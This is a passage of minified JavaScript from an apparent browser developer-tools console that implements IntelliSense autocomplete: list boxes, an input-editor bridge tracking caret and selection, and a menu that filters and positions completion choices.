e.text){this._item=e;this.rootElement.firstChild?this.rootElement.firstChild.nodeValue=this._item.text:this.rootElement.innerText=this._item.text;this.rootElement.setAttribute("aria-label",this._item.text)}else{this._item=null;this.rootElement.firstChild&&(this.rootElement.firstChild.nodeValue="");this.rootElement.removeAttribute("aria-label")}}static getUniqueID(){return"Common-Controls-Legacy-ListBoxItemContainer-"+n.CurrentUniqueID++}onMouseDown(e){this.selected=!0;this._owner.rootElement.focus()}onDoubleClicked(e){this.selected=!0;this._owner.rootElement.focus();this._owner.itemDoubleClicked&&this._owner.itemDoubleClicked(this._item)}}n.CurrentUniqueID=0;n.CONTENT_ELEMENT_ID="content";t.ListBoxItemContainer=n}(t.Legacy||(t.Legacy={}))}(e.Controls||(e.Controls={}))}(Common||(Common={}));!function(e){!function(e){"use strict"}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i extends e.Controls.Legacy.ListBoxItem{constructor(e,t){super(e,e,t)}get optionName(){return this.text}}t.IntellisenseChoice=i;class s extends e.Controls.Legacy.ListBox{constructor(e,t,i,s){super(e,t,i||"intellisenseListBoxItem");this.itemDoubleClicked=(e=>this.optionDoubleClicked(e));this._traceProvider=s;this._currentEtwKey=-1}get intellisenseChoiceSelected(){return this._intellisenseChoiceSelected}set intellisenseChoiceSelected(e){this._intellisenseChoiceSelected=e}get currentEtwKey(){return this._currentEtwKey}set currentEtwKey(e){this._currentEtwKey=e}optionDoubleClicked(e){this._intellisenseChoiceSelected&&this._intellisenseChoiceSelected(e,2)}fireBuildListBoxStartEvent(){this._traceProvider&&this._traceProvider.fireBuildListBoxStartEvent(this.currentEtwKey)}fireBuildListBoxEndEvent(){this._traceProvider&&this._traceProvider.fireBuildListBoxEndEvent(this.currentEtwKey)}fireResetListBoxStartEvent(){this._traceProvider&&this._traceProvider.fireResetListBoxStartEvent(this.currentEtwKey)}fireResetListBoxEndEvent(){this._traceProvider&&this._traceProvider.fireResetListBoxEndEvent(this.currentEtwKey)}}t.IntellisenseListBox=s}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(e){"use strict";class t{constructor(e,t,i){this._textEditorBridge=e;this._intellisenseMenu=t;this._intellisenseProvider=i;this._isInitialized=!1;this._deactivationHandler=this.uninitialize.bind(this)}get textEditorBridge(){return this._textEditorBridge}get intellisenseMenu(){return this._intellisenseMenu}get intellisenseProvider(){return this._intellisenseProvider}initialize(e){if(!this._isInitialized){this.textEditorBridge.attach(e);this.intellisenseMenu.attach(this.textEditorBridge);this.intellisenseProvider.attach(this);this._isInitialized=!0}}uninitialize(){if(this._isInitialized){this._isInitialized=!1;Microsoft.Plugin.F12.removeEventListener("deactivated",this._deactivationHandler);this.intellisenseProvider.detach();this.intellisenseMenu.detach();this.textEditorBridge.detach()}}}e.IntellisenseContext=t}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(){this._lastSelectionLength=-1;this._lastCaretPosition=-1;this._timerFunction=(()=>this.timer_elapsed())}get onTextChanged(){return this._onTextChanged}set onTextChanged(e){this._onTextChanged=e}get onCaptureKeyDown(){return this._onCaptureKeyDown}set onCaptureKeyDown(e){this._onCaptureKeyDown=e}get onBlur(){return this._onBlur}set onBlur(e){this._onBlur=e}get onCaretPositionChanged(){return this._onCaretPositionChanged}set onCaretPositionChanged(e){this._onCaretPositionChanged=e}get onSelectionLengthChanged(){return this._onSelectionLengthChanged}set onSelectionLengthChanged(e){this._onSelectionLengthChanged=e}get onMenuRequested(){return this._onMenuRequested}set onMenuRequested(e){this._onMenuRequested=e}get caretPosition(){if(this._editor)try{return this._editor.selectionEnd}catch(e){return-1}return-1}set caretPosition(t){if(this._editor&&e.ToolWindowHelpers.nodeInDocument(this._editor)){var i=this.caretPosition!==t;this._editor.setSelectionRange(t,t);i&&this.fireCaretPositionChanged()}}get selectionLength(){if(this._editor)try{return this._editor.selectionEnd-this._editor.selectionStart}catch(e){return-1}return-1}set selectionLength(t){if(this._editor&&e.ToolWindowHelpers.nodeInDocument(this._editor)){this._editor.setSelectionRange(this._editor.selectionStart,this._editor.selectionStart+t);var i=this._lastSelectionLength!==this.selectionLength;this._lastSelectionLength=this.selectionLength;i&&this.fireSelectionLengthChanged()}}get text(){return this._editor?this._editor.value:null}set text(e){this._editor&&(this._editor.value=e)}getPlacementTarget(t){if(this._editor){if(!this._lastPlacementTarget||this._lastPlacementTargetIndex!==t){this._lastPlacementTarget=e.ToolWindowHelpers.getCharScreenPosition(this._editor,t);this._lastPlacementTargetIndex=t;var i=this._editor.getBoundingClientRect();if(this._lastPlacementTarget.right<i.left||this._lastPlacementTarget.right>i.right||this._lastPlacementTarget.top<i.top||this._lastPlacementTarget.bottom>i.bottom){var s=Math.max(this._lastPlacementTarget.top,i.top),n=Math.min(this._lastPlacementTarget.bottom,i.bottom),o=Math.max(Math.min(this._lastPlacementTarget.right,i.right),i.left);this._lastPlacementTarget={top:s,bottom:n,right:o,left:o,height:n-s,width:0}}}return this._lastPlacementTarget}return null}attach(e){this._editor=i.validateTextEditorElement(e);if(this._editor){this._isAttached=!0;this._inputHandler=(e=>{this.editor_input(e)});this._editor.addEventListener("input",this._inputHandler);this._blurHandler=(e=>{this.editor_blur(e)});this._editor.addEventListener("blur",this._blurHandler);this._focusHandler=(e=>{this.editor_focus(e)});this._editor.addEventListener("focus",this._focusHandler);this._captureKeyDownHandler=(e=>{this.editor_captureKeyDown(e)});this._editor.addEventListener("keydown",this._captureKeyDownHandler,!0);this._editor.setAttribute("aria-autocomplete","list");this._editor.setAttribute("aria-haspopup","true");document.activeElement===this._editor&&this.startTimer();return!0}return!1}detach(){if(this._isAttached){this._isAttached=!1;if(this._editor){this._editor.onselect=null;this._editor.removeEventListener("input",this._inputHandler);this._editor.removeEventListener("blur",this._blurHandler);this._editor.removeEventListener("focus",this._focusHandler);this._editor.removeEventListener("keydown",this._captureKeyDownHandler,!0);this._inputHandler=null;this._blurHandler=null;this._focusHandler=null;this._captureKeyDownHandler=null;this._editor.removeAttribute("aria-autocomplete");this._editor.removeAttribute("aria-haspopup");this._editor=null}this.fireOnBlur()}}insertText(t,i,s){var n=document.queryCommandSupported("ms-beginUndoUnit");n&&document.execCommand("ms-beginUndoUnit");this._editor.value=e.ToolWindowHelpers.replaceTextInRange(this._editor.value,t,i,s);this.caretPosition=t+s.length;n&&document.execCommand("ms-endUndoUnit")}setActiveDescendant(e){e?this._editor.setAttribute("aria-activedescendant",e):this._editor.removeAttribute("aria-activedescendant")}setListBox(e){e?this._editor.setAttribute("aria-controls",e):this._editor.removeAttribute("aria-controls")}focusEditor(){this._editor.focus()}static validateTextEditorElement(e){var t=e,i=t;return void 0===i.selectionStart||void 0===i.selectionEnd||void 0===i.setSelectionRange||void 0===i.value?null:t}startTimer(){if(!this._timerActivated){this._timerId=window.setInterval(this._timerFunction,i.TIMER_INTERVAL);this._timerActivated=!0}}resetTimer(){if(this._timerActivated){this.stopTimer();this.startTimer()}}stopTimer(){if(this._timerActivated){this._timerActivated=!1;window.clearInterval(this._timerId)}}timer_elapsed(){if(this._lastCaretPosition!==this.caretPosition||this._lastSelectionLength!==this.selectionLength||this._lastEditorValue!==this._editor.value){this.stopTimer();if(this._isAttached){if(this._lastEditorValue!==this._editor.value){this.fireTextChanged();this._lastEditorValue=this._editor.value}if(this._lastCaretPosition!==this.caretPosition){this.fireCaretPositionChanged();this._lastCaretPosition=this.caretPosition}if(this._lastSelectionLength!==this.selectionLength){this.fireSelectionLengthChanged();this._lastSelectionLength=this.selectionLength}}this.startTimer()}}editor_input(e){this.resetTimer()}editor_captureKeyDown(t){if(t.keyCode===e.KeyCodes.Space&&t.ctrlKey){this.fireMenuRequested();t.preventDefault()}else{t.keyCode!==e.KeyCodes.Enter&&t.keyCode!==e.KeyCodes.Tab&&t.keyCode!==e.KeyCodes.Escape||this.timer_elapsed();this._onCaptureKeyDown&&this._onCaptureKeyDown(t)}}editor_blur(e){this.fireOnBlur()}editor_focus(e){this.startTimer()}fireOnBlur(){this.stopTimer();this._lastPlacementTarget=null;this._onBlur&&this._onBlur()}fireTextChanged(){this._lastPlacementTarget=null;this._onTextChanged&&this._onTextChanged(this._editor.value)}fireCaretPositionChanged(){this._lastPlacementTarget=null;this._onCaretPositionChanged&&this._onCaretPositionChanged(this.caretPosition)}fireSelectionLengthChanged(){this._onSelectionLengthChanged&&this._onSelectionLengthChanged(this.selectionLength)}fireMenuRequested(){this._onMenuRequested&&this._onMenuRequested()}}i.TIMER_INTERVAL=100;t.InputElementTextEditorBridge=i}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(t){"use strict";class i{constructor(e,s,n,o,r,a,l,h){this._listBox=new t.IntellisenseListBox(e,s,n,l);this._listBox.rootElement.style.position="absolute";this._listBox.rootElement.style.display="none";this._isAttached=!1;this._placementTargetIndex=0;this._isDeferringLayout=!1;this._suppressMenu=!1;this._alreadyForcedOpen=!1;this._ignoreCommit=!1;this._willMenuBeOpen=!1;this._maxMenuItems=o||i.MAX_MENU_ITEMS;this._resizeListener=(()=>{this._resizeListenerHasFired=!0;this._windowInnerHeight=window.innerHeight;this._windowInnerWidth=window.innerWidth;this._toolbarOffsetHeight=0;this._listBoxOffsetWidthIsStale=!0;this._listBoxOffsetHeightIsStale=!0;var e=document.getElementById("toolbar");e&&(this._toolbarOffsetHeight=e.offsetHeight)});this._resizeListenerHasFired=!1;window.addEventListener("resize",this._resizeListener);this._autoSuppressMenuEnabled=!!r;this._showAllOptionsWhenNoMatch=h;this._traceProvider=a;this._currentEtwKey=-1}get placementTargetIndex(){return this._placementTargetIndex}set placementTargetIndex(e){this._placementTargetIndex=e;this._lastTextEditorPlacementTarget=null}get currentEtwKey(){return this._currentEtwKey}set currentEtwKey(e){this._currentEtwKey=e;this._listBox.currentEtwKey=e}get isOpen(){return this._isAttached}set isOpen(e){this._willMenuBeOpen=e;if(e!==this.isOpen)if(e&&!this.suppressMenu)this.show();else{this.hide();this._alreadyForcedOpen=!1}}get hasSelection(){return this.isOpen&&!this.isDeferringLayout&&!this._ignoreCommit&&!!this._selectedOption}get currentSelection(){return this._selectedOption}get intellisenseChoices(){return this._listBox?this._options:[]}set intellisenseChoices(e){this._options=e;this._filteredOptions=e;this._selectedOption=null;this.listBoxListItems=null}get filteredIntellisenseChoices(){return this._filteredOptions}get willIntellisenseMenuBeOpen(){return this._willMenuBeOpen}get menuListBox(){return this._listBox}get onClosing(){return this._onClosing}set onClosing(e){this._onClosing=e}get onOpened(){return this._onOpened}set onOpened(e){this._onOpened=e}get onChoiceCommitted(){return this._onChoiceCommitted}set onChoiceCommitted(e){this._onChoiceCommitted=e}get onSelectionChanged(){return this._onSelectionChanged}set onSelectionChanged(e){this._onSelectionChanged=e}get forbiddenBottomLeftRect(){return this._forbiddenBottomLeftRect}set forbiddenBottomLeftRect(e){this._forbiddenBottomLeftRect=e}get suppressMenu(){return this._suppressMenu&&this._autoSuppressMenuEnabled}set suppressMenu(e){this._suppressMenu=e}get isDeferringLayout(){return this._isDeferringLayout}set isDeferringLayout(e){if(e){this.stopDeferredRenderTimer();this.startDeferredRenderTimer()}else this.stopDeferredRenderTimer()}get listBoxListItems(){return this._listBox.listItems}set listBoxListItems(e){this._listBox.listItems=e;this._listBoxOffsetWidthIsStale=!0;this._listBoxOffsetHeightIsStale=!0}get listBoxOffsetWidth(){if(this._listBoxOffsetWidthIsStale){this._listBoxOffsetWidth=this._listBox.rootElement.offsetWidth;this._listBoxOffsetWidthIsStale=!1}return this._listBoxOffsetWidth}get listBoxOffsetHeight(){if(this._listBoxOffsetHeightIsStale){this._listBoxOffsetHeight=this._listBox.rootElement.offsetHeight;this._listBoxOffsetHeightIsStale=!1}return this._listBoxOffsetHeight}forceOpen(){if(this._filteredOptions&&this._filteredOptions.length>0){this.suppressMenu=!1;this.isOpen=!0;this.listBoxListItems=this._filteredOptions;this.isDeferringLayout=!1;this.updateLayout(!this._alreadyForcedOpen);this.updateListBoxSelection();this._alreadyForcedOpen=!0}}attach(e){if(!this._textEditorBridge){document.body.appendChild(this._listBox.rootElement);this._textEditorBridge=e;this._textEditorBridge.onBlur=(()=>this.textEditorBridge_blur())}this._textEditorBridge.setListBox(this._listBox.rootElement.id)}detach(){if(this._textEditorBridge){this.isOpen=!1;this._textEditorBridge.onBlur=null;this._textEditorBridge.setListBox(null);this._textEditorBridge=null;document.body.removeChild(this._listBox.rootElement)}}setFilter(e){this.fireSetFilterStartEvent();this.setSelectedAndFilteredOptions(e);this.fireSetFilterEndEvent();if(this._filteredOptions.length>this._maxMenuItems){this._willMenuBeOpen=!0;this.isDeferringLayout=!0;return this._filteredOptions}if(1===this._filteredOptions.length&&this._selectedOption&&this._selectedOption.text===e){this._willMenuBeOpen=!1;window.setImmediate(()=>this.isOpen=!1);return this._filteredOptions}this._willMenuBeOpen=!0;this.listBoxListItems=this._filteredOptions;this.updateLayout(this.isDeferringLayout);this.isDeferringLayout=!1;this.updateListBoxSelection();return this._filteredOptions}getTextEditorPlacementTarget(e){this._lastTextEditorPlacementTarget&&!e||(this._lastTextEditorPlacementTarget=this._textEditorBridge.getPlacementTarget(this.placementTargetIndex));return this._lastTextEditorPlacementTarget}startDeferredRenderTimer(){if(!this._isDeferringLayout){var e=this.currentEtwKey;this._deferredRenderTimerId=window.setTimeout(()=>this.deferredRenderTimer_elapsed(e),i.DEFERRED_RENDER_TIMER_INTERVAL);this._ignoreCommit=!0;this._isDeferringLayout=!0}}stopDeferredRenderTimer(){if(this._isDeferringLayout){this._ignoreCommit=!1;this._isDeferringLayout=!1;window.clearTimeout(this._deferredRenderTimerId)}}deferredRenderTimer_elapsed(e){this._isDeferringLayout=!1;this.currentEtwKey=e;if(this.isOpen){this.forceOpen();window.setTimeout(()=>this._ignoreCommit=!1,i.DEFERRED_RENDER_TIMER_INTERVAL)}}updateListBoxSelection(){if(this._selectedOption){this._listBox.selectedItem=this._selectedOption;this._listBox.scrollIntoView(this._selectedOption,!1)}else if(this.listBoxListItems.length>0){this._listBox.selectedIndex=-1;this._listBox.scrollIntoView(this.listBoxListItems[0],!1)}}setSelectedAndFilteredOptions(e){if(e&&0!==e.length&&this._options){var t=e.toUpperCase(),i=this._options.filter((e,i,s)=>-1!==e.optionName.toUpperCase().indexOf(t),this);if(i.length>0){this._filteredOptions=i;var s=this.getMatchingOption(i,e,!0);if(s<0&&(s=this.getMatchingOption(i,e,!1))<0){this._selectedOption=null;return}this._selectedOption=this._filteredOptions[s]}else{this._showAllOptionsWhenNoMatch&&(this._filteredOptions=this._options);this._selectedOption=null}}}getMatchingOption(e,t,i){for(var s=i?t:t.toUpperCase(),n=0;n<e.length;++n){if(0===(i?e[n].optionName:e[n].optionName.toUpperCase()).indexOf(s))return n}return-1}textEditorBridge_blur(){document.activeElement!==this._listBox.rootElement?this.hide():document.activeElement===this._listBox.rootElement&&this._textEditorBridge.focusEditor()}updateLayout(e){if(this.isOpen&&this.listBoxListItems&&0!==this.listBoxListItems.length){this.fireUpdateLayoutStartEvent();this._listBox.rootElement.style.left;this._resizeListenerHasFired||this._resizeListener();var t=this.getTextEditorPlacementTarget(e),s=t.right,n=t.bottom;this._listBox.rootElement.style.display="block";this._listBox.rootElement.style.top="0";this._listBox.rootElement.style.left="0";this._listBox.rootElement.style.width="";this._listBox.rootElement.style.minWidth=i.MIN_MENU_WIDTH+"px";this._listBox.rootElement.style.maxHeight=i.MAX_MENU_HEIGHT+"px";var o=this.listBoxOffsetHeight,r=this.listBoxOffsetWidth,a=0;this._forbiddenBottomLeftRect&&(a=this._forbiddenBottomLeftRect.top-n<o?this._forbiddenBottomLeftRect.width:0);var l=this._windowInnerHeight-n-2;if(t.top>l)if((n=t.top-o)<this._toolbarOffsetHeight){n=Math.max(t.top-i.MAX_MENU_HEIGHT,this._toolbarOffsetHeight);var h=t.top-n;this._listBox.rootElement.style.top=n+"px";this._listBox.rootElement.style.maxHeight=h+"px"}else this._listBox.rootElement.style.top=n+"px";else{this._listBox.rootElement.style.top=n+"px";l<i.MAX_MENU_HEIGHT&&(this._listBox.rootElement.style.maxHeight=l+"px")}if(s+r<this._windowInnerWidth)this._listBox.rootElement.style.left=s+"px";else if(s-r>a)this._listBox.rootElement.style.left=s-r+"px";else{var d=Math.max(this._windowInnerWidth-r,a),c=Math.min(d+r,this._windowInnerWidth);this._listBox.rootElement.style.left=d+"px";this._listBox.rootElement.style.width=c-d+"px";this._listBox.rootElement.style.minWidth=""}this._listBox.selectedItem&&this._listBox.scrollIntoView(this._listBox.selectedItem,!1);this.fireUpdateLayoutEndEvent()}}show(){if(!this._isAttached){this._isAttached=!0;this.suppressMenu=!1;this.updateLayout(!0);this._listBox.intellisenseChoiceSelected=((e,t)=>this.listBox_intellisenseChoiceSelected(e,t));this._listBox.selectedItemChanged=(e=>this.listBox_selectedItemChanged(e));this._textEditorBridge.onCaptureKeyDown=(e=>this.editor_captureKeyDown(e));this._listBox.rootElement.setAttribute("aria-expanded","true");this._listBox.selectedItem&&this.listBox_selectedItemChanged(this._listBox.selectedItem);this._onOpened&&this._onOpened()}}hide(){if(this._isAttached){this._isAttached=!1;this._willMenuBeOpen=!1;this._onClosing&&this._onClosing();this._textEditorBridge.setActiveDescendant(null);this._listBox.intellisenseChoiceSelected=null;this._listBox.selectedItemChanged=null;this._textEditorBridge.onCaptureKeyDown=null;this._listBox.rootElement.style.display="none";this._listBox.rootElement.removeAttribute("aria-expanded")}}listBox_intellisenseChoiceSelected(e,t){this.fireValueCommitted(e,t)}listBox_selectedItemChanged(e){if(e){this._selectedOption=e;this._textEditorBridge.setActiveDescendant(this._listBox.itemContainers[e.index].rootElement.id);this._onSelectionChanged&&this._onSelectionChanged(e)}}calculateListPageSize(){return Math.round(this.listBoxOffsetHeight/this._listBox.listItemHeight)}setListBoxSelectedIndex(e,t){e=Math.max(0,Math.min(this.listBoxListItems.length-1,e));this._listBox.selectedIndex=e;this._listBox.scrollIntoView(this._listBox.selectedItem,t)}editor_captureKeyDown(t){if(!this.isDeferringLayout)if(t.keyCode!==e.KeyCodes.ArrowUp)if(t.keyCode!==e.KeyCodes.ArrowDown)if(t.keyCode!==e.KeyCodes.PageUp)if(t.keyCode!==e.KeyCodes.PageDown){if(t.keyCode!==e.KeyCodes.Enter){if(t.keyCode!==e.KeyCodes.Tab)if(t.keyCode!==e.KeyCodes.Space)if(t.keyCode!==e.KeyCodes.Escape);else{this.hide();t.preventDefault();t.stopImmediatePropagation();this.suppressMenu=!0}else this.hide();else if(this.fireSelectedValueCommitted(0)){t.stopImmediatePropagation();t.preventDefault()}}else if(this.fireSelectedValueCommitted(1)){t.stopImmediatePropagation();t.preventDefault()}}else{i=this.calculateListPageSize();this.setListBoxSelectedIndex(this._listBox.selectedIndex+i,!1);t.stopImmediatePropagation();t.preventDefault()}else{var i=this.calculateListPageSize();this.setListBoxSelectedIndex(this._listBox.selectedIndex-i,!0);t.stopImmediatePropagation();t.preventDefault()}else{this.setListBoxSelectedIndex(this._listBox.selectedIndex+1,!1);t.stopImmediatePropagation();t.preventDefault()}else{this.setListBoxSelectedIndex(this._listBox.selectedIndex-1,!0);t.stopImmediatePropagation();t.preventDefault()}}fireValueCommitted(e,t){if(this._onChoiceCommitted&&e){this._onChoiceCommitted(e,t);return!0}return!1}fireSelectedValueCommitted(e){return!(!this._listBox||null===this._listBox.selectedItem)&&this.fireValueCommitted(this._listBox.selectedItem,e)}fireSetFilterStartEvent(){this._traceProvider&&this._traceProvider.fireSetFilterStartEvent(this.currentEtwKey)}fireSetFilterEndEvent(){this._traceProvider&&this._traceProvider.fireSetFilterEndEvent(this.currentEtwKey)}fireUpdateLayoutStartEvent(){this._traceProvider&&this._traceProvider.fireUpdateLayoutStartEvent(this.currentEtwKey)}fireUpdateLayoutEndEvent(){this._traceProvider&&this._traceProvider.fireUpdateLayoutEndEvent(this.currentEtwKey)}}i.MAX_MENU_HEIGHT=300;i.MIN_MENU_WIDTH=200;i.MAX_MENU_ITEMS=50;i.DEFERRED_RENDER_TIMER_INTERVAL=200;t.IntellisenseMenu=i}(e.Intellisense||(e.Intellisense={}))}(Common||(Common={}));!function(e){!function(t){"use strict";var i=e.Promises.CancelablePromise;class s{constructor(){this._isCanceled=!1}get isCanceled(){return this._isCanceled}cancel(){this._isCanceled=!0}}t.GetIntellisenseChoicesCancelToken=s;class n{constructor(){this._lastTextValue="";this._lastSearchExpression="";this._searchExpressionUpdated=!1;this._currentSearchToken="";this._currentSearchTokenStart=-1;this._currentSearchTokenEnd=-1;this._currentIntellisenseChoicesPromise=null;this._menuShouldOpenAfterPromiseCompletes=!1;this._currentIntellisenseChoices=null;this._performingCommit=!1;this._nextETWKey=0}get textEditorBridge(){return this._intellisenseContext.textEditorBridge}get intellisenseMenu(){return this._intellisenseContext.intellisenseMenu}get currentSearchToken(){return this._currentSearchToken}get currentSearchTokenStart(){return this._currentSearchTokenStart}get currentSearchTokenEnd(){return this._currentSearchTokenEnd}get onIntellisenseResultsAvailable(){return this._onIntellisenseResultsAvailable}set onIntellisenseResultsAvailable(e){this._onIntellisenseResultsAvailable=e}setCurrentIntellisenseChoices(e){this._currentIntellisenseChoices=e}attach(e){this._intellisenseContext=e;this.textEditorBridge.onTextChanged=(e=>this.textEditorBridge_textChanged(e));this.textEditorBridge.onCaretPositionChanged=(e=>this.textEditorBridge_caretPositionChanged(e));this.textEditorBridge.onSelectionLengthChanged=(e=>this.textEditorBridge_selectionLengthChanged(e));this.textEditorBridge.onMenuRequested=(()=>this.textEditorBridge_menuRequested());this.intellisenseMenu.onSelectionChanged=(e=>this.intellisenseMenu_selectionChanged(e));this.intellisenseMenu.onChoiceCommitted=((e,t)=>this.intellisenseMenu_choiceCommitted(e,t));this.intellisenseMenu.onClosing=(()=>this.intellisenseMenu_closing());this._lastTextValue=this.textEditorBridge.text}detach(){if(this._currentIntellisenseChoicesPromise){this._currentIntellisenseChoicesPromise.cancel();this._currentIntellisenseChoicesPromise=null;this._menuShouldOpenAfterPromiseCompletes=!1}this._currentSearchToken="";this._currentSearchTokenStart=-1;this._currentSearchTokenEnd=-1;this._currentIntellisenseChoices=null;this._lastTextValue="";this.textEditorBridge.onTextChanged=null;this.textEditorBridge.onCaretPositionChanged=null;this.textEditorBridge.onSelectionLengthChanged=null;this.textEditorBridge.onMenuRequested=null;this.intellisenseMenu.onSelectionChanged=null;this.intellisenseMenu.onChoiceCommitted=null;this.intellisenseMenu.onClosing=null;this._intellisenseContext=null}getCurrentFilteredIntellisenseCompletionList(){return this._currentIntellisenseChoices&&this._currentIntellisenseChoices.length>0?this.intellisenseMenu.filteredIntellisenseChoices:[]}clearLastValues(){this._currentSearchToken="";this._currentSearchTokenStart=-1;this._currentSearchTokenEnd=-1;this._currentIntellisenseChoices=null;this._lastTextValue=""}getCurrentExpression(e,t,i=-1){this.fireGetCurrentExpressionStartEvent(i);var s=e.substr(0,t),o=e.substr(t),r={text:"",offset:t},a=!1,l=!1,h=!1;if(s&&s.length>0){for(var d=0;d<s.length;++d){var c=a||l;if("\\"===s[d]&&c)h=!0;else{"'"!==s[d]||h?'"'!==s[d]||h||(l=!a&&!l):a=!a&&!l;h=!1}}if(a||l){this.fireGetCurrentExpressionEndEvent(i);return r}}var u=s.match(/var\s+\S+$/);if(u&&u.length>0){this.fireGetCurrentExpressionEndEvent(i);return r}var m=s.match(n.JAVASCRIPT_BEGIN_EXPRESSION_REGEX),p="";m&&(p=m[0]);var _=o.match(n.JAVASCRIPT_END_EXPRESSION_REGEX),g="";_&&(g=_[0]);if((p+g).match(/^\d/)){this.fireGetCurrentExpressionEndEvent(i);return r}this.fireGetCurrentExpressionEndEvent(i);return{text:p+g,offset:s.length-p.length}}getSearchTokenFromFullExpression(e){var t={text:"",offset:e.length},i=e.match(n.JAVASCRIPT_BEGIN_SEARCH_TOKEN_REGEX);if(i&&i.length>0){t.text=i[0];t.offset=e.length-t.text.length;return t}return t}getIntellisenseChoices(e,t,i,s){t(null)}onMenuSelectionChanged(e){}onMenuChoiceCommitted(e,t){this.textEditorBridge.insertText(this.currentSearchTokenStart,this.currentSearchTokenEnd,e.text)}onMenuClosing(){}fireGetCurrentExpressionStartEvent(e){}fireGetCurrentExpressionEndEvent(e){}fireUpdateIntellisenseStartEvent(e){}fireUpdateIntellisenseEndEvent(e){}completePromiseResults(e,t){this._currentIntellisenseChoicesPromise=null;this._menuShouldOpenAfterPromiseCompletes=!1;this._currentIntellisenseChoices=e;t||(t=this._etwKey);this.updateMenu(this._text,this._searchTokenUpdated,this._menuWillBeOpen,this._forceMenuOpen,t)}getIntellisenseChoicesAsync(e,t){var n=new s;return new i((i,s,o)=>{this.getIntellisenseChoices(e,i,n,t)},()=>{n.cancel();this.fireUpdateIntellisenseEndEvent(t);return!0})}updateIntellisense(e,t,i=!1){if(!this._performingCommit){var s=this._nextETWKey++,n=this.getCurrentExpression(e,t,s);if(n.text.length>0||i){this.fireUpdateIntellisenseStartEvent(s);var o=this.getSearchTokenFromFullExpression(n.text),r=o.text!==this._currentSearchToken||i,a=!o.text.match("^"+this._currentSearchToken)&&!this._currentSearchToken.match("^"+o.text)||1===o.text.length;this._currentSearchToken=o.text;this._currentSearchTokenEnd=n.offset+n.text.length;this._currentSearchTokenStart=this._currentSearchTokenEnd-this._currentSearchToken.length;var l=n.text.substr(0,o.offset-1),h=r&&a||this._lastSearchExpression!==l,d=this._searchExpressionUpdated;this._searchExpressionUpdated=!1;var c=this.intellisenseMenu.isOpen,u=this._menuShouldOpenAfterPromiseCompletes;if(h||!this._currentIntellisenseChoices){if(this._currentIntellisenseChoicesPromise){this._currentIntellisenseChoicesPromise.cancel();this._currentIntellisenseChoicesPromise=null;this._menuShouldOpenAfterPromiseCompletes=!1}this.intellisenseMenu.isOpen=!1;this.intellisenseMenu.placementTargetIndex=this.currentSearchTokenStart;if(0!==n.text.indexOf(".")&&n.text.indexOf("..")<0){this._currentIntellisenseChoicesPromise=this.getIntellisenseChoicesAsync(l,s);this._lastSearchExpression=l;d=!0}}var m=!1;if(t>0&&e.length>=t){m=!!e[t-1].match(/\s/)}var p=this.intellisenseMenu.isOpen||c||u||i;this._lastTextValue.length!==e.length-1||m||1!==this._currentSearchToken.length&&!d?this._searchExpressionUpdated=d:p=!0;this._text=e;this._searchTokenUpdated=r;this._menuWillBeOpen=p;this._forceMenuOpen=i;this._etwKey=s;if(this._currentIntellisenseChoicesPromise){this._menuShouldOpenAfterPromiseCompletes=p;this._currentIntellisenseChoicesPromise.then(e=>{this.completePromiseResults(e,s)})}else this.updateMenu(e,r,p,i,s)}else{this.intellisenseMenu.isOpen=!1;this.intellisenseMenu.intellisenseChoices=null;this._currentSearchToken="";this._currentSearchTokenStart=-1;this._currentSearchTokenEnd=-1;this._currentIntellisenseChoices=null;this.fireOnIntellisenseResultsAvailable()}this._lastTextValue=e}}updateMenu(e,t,i,s,o){this.intellisenseMenu.currentEtwKey=o;if(this._currentIntellisenseChoices&&this._currentIntellisenseChoices.length>0){if(i){if(this.intellisenseMenu.intellisenseChoices!==this._currentIntellisenseChoices){this.intellisenseMenu.intellisenseChoices=this._currentIntellisenseChoices.filter(e=>!n.IGNORED_OPTIONS.some(t=>e.optionName===t));this._currentIntellisenseChoices=this.intellisenseMenu.intellisenseChoices;t=!0}t&&this.intellisenseMenu.setFilter(this._currentSearchToken);this.fireOnIntellisenseResultsAvailable()}s?this.intellisenseMenu.forceOpen():this.intellisenseMenu.isOpen=i}else this.fireOnIntellisenseResultsAvailable();this.fireUpdateIntellisenseEndEvent(o)}fireOnIntellisenseResultsAvailable(){this._onIntellisenseResultsAvailable&&this._onIntellisenseResultsAvailable()}textEditorBridge_textChanged(e){this.updateIntellisense(e,this.textEditorBridge.caretPosition)}textEditorBridge_caretPositionChanged(e){0===this.textEditorBridge.selectionLength&&this.updateIntellisense(this.textEditorBridge.text,e)}textEditorBridge_selectionLengthChanged(e){e>0&&(this.intellisenseMenu.isOpen=!1)}textEditorBridge_menuRequested(){this.updateIntellisense(this.textEditorBridge.text,this.textEditorBridge.caretPosition,!0)}intellisenseMenu_selectionChanged(e){this.onMenuSelectionChanged(e)}intellisenseMenu_choiceCommitted(e,t){this._performingCommit=!0;this.onMenuChoiceCommitted(e,t);this.intellisenseMenu.isOpen=!1;this._lastTextValue=this.textEditorBridge.text;this.textEditorBridge.focusEditor();this._performingCommit=!1}intellisenseMenu_closing(){this.onMenuClosing()}}n.VALID_JAVASCRIPT_VARIABLE_LETTERS="$0-9A-Z_a-zªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮ̀-ʹͶ-ͷͺ-ͽΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁ҃-҇Ҋ-ԧԱ-Ֆՙա-և֑-ֽֿׁ-ׂׄ-ׇׅא-תװ-ײؐ-ؚؠ-٩ٮ-ۓە-ۜ۟-۪ۨ-ۼۿܐ-݊ݍ-ޱ߀-ߵߺࠀ-࠭ࡀ-࡛ࢠࢢ-ࢬࣤ-ࣾऀ-ॣ०-९ॱ-ॷॹ-ॿঁ-ঃঅ-ঌএ-ঐও-নপ-রলশ-হ়-ৄে-ৈো-ৎৗড়-ঢ়য়-ৣ০-ৱਁ-ਃਅ-ਊਏ-ਐਓ-ਨਪ-ਰਲ-ਲ਼ਵ-ਸ਼ਸ-ਹ਼ਾ-ੂੇ-ੈੋ-੍ੑਖ਼-ੜਫ਼੦-ੵઁ-ઃઅ-ઍએ-ઑઓ-નપ-રલ-ળવ-હ઼-ૅે-ૉો-્ૐૠ-ૣ૦-૯ଁ-ଃଅ-ଌଏ-ଐଓ-ନପ-ରଲ-ଳଵ-